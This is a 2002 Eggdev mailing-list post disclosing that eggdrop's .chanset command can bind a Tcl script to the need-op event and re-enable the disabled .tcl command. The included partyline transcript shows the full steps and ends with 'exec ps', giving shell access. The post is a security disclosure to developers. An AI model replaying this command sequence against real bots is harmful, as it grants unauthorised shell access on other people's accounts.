Eggdev: security problem in eggdrop.

Moe Harley moeser at moenix.com
Tue Dec 31 21:58:25 CST 2002


I don't know if this has been reported or not, but I thought i'd mention 
it...

I've recently been looking at the .chanset command in eggdrop.  It 
appears that anyone who has access to that command, can eventually 
manipulate it to execute commands on the shell account.

The problem boils down to the age-old problem of users running custom 
tcl scripts, using commands such as .tcl .  In the tcl library there is 
an exec() function that executes a command on the shell.  This can be 
used to do all sorts of negative things with the users account.  The 
.chanset command can be used to assign tcl scripts to certain channel 
events, like when the bot needs to be opped.  A disgruntled user could 
assign a script to need-op that re-binds the .tcl command or even 
directly executes a shell command.

Here is an example from one of my own bots:

Ok lets connect first and check to make sure .tcl doesn't work...

<Bot> You have no messages.
<Bot> *** User joined the party line.
<User> .tcl
<Bot> What?  You need '.help'

Now we add a new channel to the bot with .+chan  and for extra
feedback in our example we'll also set it as the console (although
when it comes down to it, neither .+chan or .console are needed
to make this work).

<User> .+chan #non_existant
<Bot> [18:22] #User# +chan #non_existant
<User> .console #non_existant +jk
<Bot> Set your console to #non_existant: jk (joins, kicks/modes).

We now join the channel, and ask the bot to give us ops.

<Bot> [18:23] User (xxxx at xxxxxxx.com) joined #non_existant.
<User> .op user #non_existant
<Bot> Gave op to user on #non_existant.
<Bot> [18:23] #non_existant: mode change '+o User' by Bot!xxxx at xxxxxxx.com

Now we send our not-so-friendly .chanset command.  In this case
all the command does is rebind .tcl to *dcc:tcl without any flags.
After the bot runs this command, anyone on the bots party line
can use .tcl

<User> .chanset #non_existant need-op bind dcc - tcl *dcc:tcl
<Bot> Successfully set modes { need-op { bind dcc - tcl *dcc:tcl } } on 
#non_existant.

Now all we have to do to run our bind command is deop the bot
in #non_existant  ...

<Bot> [18:24] #non_existant: mode change '-o Bot' by User!xxxx at xxxxxxx.com

Now to prove we have .tcl and shell access we'll run ps....

<User> .tcl exec ps
<Bot> Tcl:   PID TTY          TIME CMD
<Bot> Tcl:  2430 ?        00:01:22 eggdrop
<Bot> Tcl:  2865 ?        00:00:00 ps

At this point, everyone on the party line has access to the bots shell 
account.

A few things to note:  As far as I can tell, .chanset is restricted to 
+n users only.  While that severely limits the number of people who can 
abuse the bot in this way, it's still a big window.  Many users disable 
the .tcl command and several other bot settings thinking that owners 
won't have access to them anymore.  This, however, proves that +n users 
will still have access to their shell account, and even access to change 
the rest of the bots settings.  The problem is even worse if an 
unsuspecting owner has rebound .chanset to allow lower-level users 
access to it.

Anyhow, if this is already a known problem, then ignore these rants of a 
paranoid user :)
On the other hand, if this was informative, please mention my nickname, 
Moeser, in some vanity 'special thanks' list somewhere :P

-Moeser



More information about the Eggdev mailing list